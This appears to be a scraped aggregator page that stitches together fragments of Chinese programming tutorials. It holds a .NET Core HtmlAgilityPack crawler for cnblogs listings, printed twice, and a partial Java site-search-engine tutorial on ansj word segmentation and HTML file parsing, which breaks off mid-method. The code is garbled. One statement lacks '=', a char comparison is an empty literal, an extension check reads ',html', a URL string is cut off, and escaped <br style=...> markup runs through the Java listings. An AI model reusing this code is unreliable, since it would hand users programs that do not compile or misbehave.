▼所需命令:获取元素文本、计次循环、点击目标、数据抓取、获取数组长度、查找字符串。
▼课程视频:
▼下期预告:Excel扩展命令。
.NET Core实践爬虫系统:解析网页内容
网站优化 • 优采云 发表了文章 • 0 个评论 • 160 次浏览 • 2022-06-06 20:24
///
public long View { get; set; }
///
///明细
///
public string Detail { get; set; }
///
///作者
///
public string Author { get; set; }
///
/// 作者链接
///
public string AuthorUrl { get; set; }
}
然后根据网页结构,查看XPath路径,采集内容
///
/// 解析
///
///
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持从web或本地path加载html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("//div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("//div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("//a[@class='titlelnk']");
var summarynode post_item_bodynode.SelectSingleNode("//p[@class='post_item_summary']");
//foot
var footnode = item.SelectSingleNode("//div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = item.SelectSingleNode("//span[@class='article_comment']");
var viewnode = item.SelectSingleNode("//span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
查看采集结果
看到结果就惊呆了,竟然全是重复的。难道是Xpath语法理解不对么? 采集结果
重温下XPath语法
XPath 使用路径表达式在 XML 文档中选取节点。节点是通过沿着路径或者 step 来选取的
XPath 通配符可用来选取未知的 XML 元素
我测试了几个语法如:
//例1,会返回20个
var titlenodes = post_item_bodynode.SelectNodes("//a[@class='titlelnk']");
//会报错,因为这个a并不直接在bodynode下面,而是在子级h3元素的子级。
var titlenodes = post_item_bodynode.SelectNodes("a[@class='titlelnk']");
然后又实验了一种:
//Bingo,这个可以,但是强烈指定了下级h3,这就稍微麻烦了点。
var titlenodes = post_item_bodynode.SelectNodes("h3//a[@class='titlelnk']");
这里就引申出了一个小问题:如何定位子级的子级?用通配符*可以么?
//返回1个。
var titlenodes= post_item_bodynode.SelectNodes("*//a[@class='titlelnk']")
能正确返回1,应该是可以了,我们改下代码看下效果。
然后和博客园首页数据对比,结果吻合。 所以我们可以得出结论:
改过后代码如下:
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持从web或本地path加载html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
//Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("*//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("*//a[@class='titlelnk']");
var summarynode = post_item_bodynode.SelectSingleNode("p[@class='post_item_summary']");
//foot
var footnode = post_item_bodynode.SelectSingleNode("div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = footnode.SelectSingleNode("span[@class='article_comment']");
var viewnode = footnode.SelectSingleNode("span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
源码
代码已上传至 GitHub:
总结
Demo到此结束,下篇继续构思如何构建自定义规则,让用户可以在页面自己填写规则去识别。
看完本文有收获?请转发分享给更多人
关注「DotNet」,提升.Net技能
查看全部
.NET Core实践爬虫系统:解析网页内容
///
public long View { get; set; }
///
///明细
///
public string Detail { get; set; }
///
///作者
///
public string Author { get; set; }
///
/// 作者链接
///
public string AuthorUrl { get; set; }
}
然后根据网页结构,查看XPath路径,采集内容
///
/// 解析
///
///
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持从web或本地path加载html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("//div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("//div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("//a[@class='titlelnk']");
var summarynode post_item_bodynode.SelectSingleNode("//p[@class='post_item_summary']");
//foot
var footnode = item.SelectSingleNode("//div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = item.SelectSingleNode("//span[@class='article_comment']");
var viewnode = item.SelectSingleNode("//span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
查看采集结果
看到结果就惊呆了,竟然全是重复的。难道是Xpath语法理解不对么? 采集结果
重温下XPath语法
XPath 使用路径表达式在 XML 文档中选取节点。节点是通过沿着路径或者 step 来选取的
XPath 通配符可用来选取未知的 XML 元素
我测试了几个语法如:
//例1,会返回20个
var titlenodes = post_item_bodynode.SelectNodes("//a[@class='titlelnk']");
//会报错,因为这个a并不直接在bodynode下面,而是在子级h3元素的子级。
var titlenodes = post_item_bodynode.SelectNodes("a[@class='titlelnk']");
然后又实验了一种:
//Bingo,这个可以,但是强烈指定了下级h3,这就稍微麻烦了点。
var titlenodes = post_item_bodynode.SelectNodes("h3//a[@class='titlelnk']");
这里就引申出了一个小问题:如何定位子级的子级?用通配符*可以么?
//返回1个。
var titlenodes= post_item_bodynode.SelectNodes("*//a[@class='titlelnk']")
能正确返回1,应该是可以了,我们改下代码看下效果。
然后和博客园首页数据对比,结果吻合。 所以我们可以得出结论:
改过后代码如下:
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持从web或本地path加载html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
//Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("*//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("*//a[@class='titlelnk']");
var summarynode = post_item_bodynode.SelectSingleNode("p[@class='post_item_summary']");
//foot
var footnode = post_item_bodynode.SelectSingleNode("div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = footnode.SelectSingleNode("span[@class='article_comment']");
var viewnode = footnode.SelectSingleNode("span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
源码
代码已上传至 GitHub:
总结
Demo到此结束,下篇继续构思如何构建自定义规则,让用户可以在页面自己填写规则去识别。
看完本文有收获?请转发分享给更多人
关注「DotNet」,提升.Net技能
编写一个Java站内搜索引擎系统
网站优化 • 优采云 发表了文章 • 0 个评论 • 41 次浏览 • 2022-06-06 17:16
如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,那些属于全网搜索,我们这里做一个站内搜索。类似于我们对网站里的资源进行搜索。
一、搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。建议大家别爬虫要不然被告了。
这里我们可以使用Python,或者下载文档压缩包。
为什么要用索引呢?
因为爬的数据太多了,不索引,难道去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到
故根据名字选技能
倒排索引就是LOL里面谁有剑
蛮王无极剑圣剑姬
故根据特点选择英雄
二、模块划分1、索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2、搜索模块
1)调用索引模块,实现一个搜索的完整过程。
3、web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。
包含了前端和后端。
三、怎么实现分词
分词的原理
1、基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2、基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
import org.ansj.domain.Term;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import org.ansj.splitWord.analysis.ToAnalysis;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.List;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class TastAnsj {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> List terms = ToAnalysis.parse(str).getTerms();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for (Term term : terms) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(term.getName());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
四、文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//读取刚刚文档<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class Parser {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private static final String INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public void run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //整个Parser类的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //1.根据路径,去枚举出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ArrayList fileList=new ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void enumFile(String inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File rootPath=new File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //listFiles 能够获取到一层目录下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File[] files= rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for(File f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //根据当前f的类型判断是否递归。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果f是一个普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果不是就调用递归<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //通过main方法来实现整个制作索引的过程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> Parser parser=new Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.getAbsolutePath().endsWith(",html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
这个代码就是只是针对末尾为html的文件,下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String name= f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。
具体代码如下很容易理解。
private String parseContent(File f) throws IOException {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //先按照一个一个字符来读取,以作为开关<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try(FileReader fileReader=new FileReader(f)) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //加上一个是否拷贝的开关.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> boolean isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //还需要准备一个结果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> StringBuilder content=new StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> while (true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //此处的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> int ret = 0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ret = fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(ret==-1) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> char c=(char) ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (FileNotFoundException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return "";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
这一模块总的代码块如下:
import java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.FileNotFoundException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.FileReader;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.IOException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//读取刚刚文档<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class Parser {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private static final String INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public void run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //整个Parser类的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //1.根据路径,去枚举出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ArrayList fileList=new ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for (File f:fileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println("开始解析"+f.getAbsolutePath());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parseHTML(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseTitle(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String name= f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseUrl(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseContent(File f) throws IOException {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //先按照一个一个字符来读取,以作为开关<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try(FileReader fileReader=new FileReader(f)) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //加上一个是否拷贝的开关.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> boolean isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //还需要准备一个结果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> StringBuilder content=new StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> while (true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //此处的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> int ret = 0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ret = fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(ret==-1) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> char c=(char) ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> isCopy=true;<br style="outline: 0px;max-width: 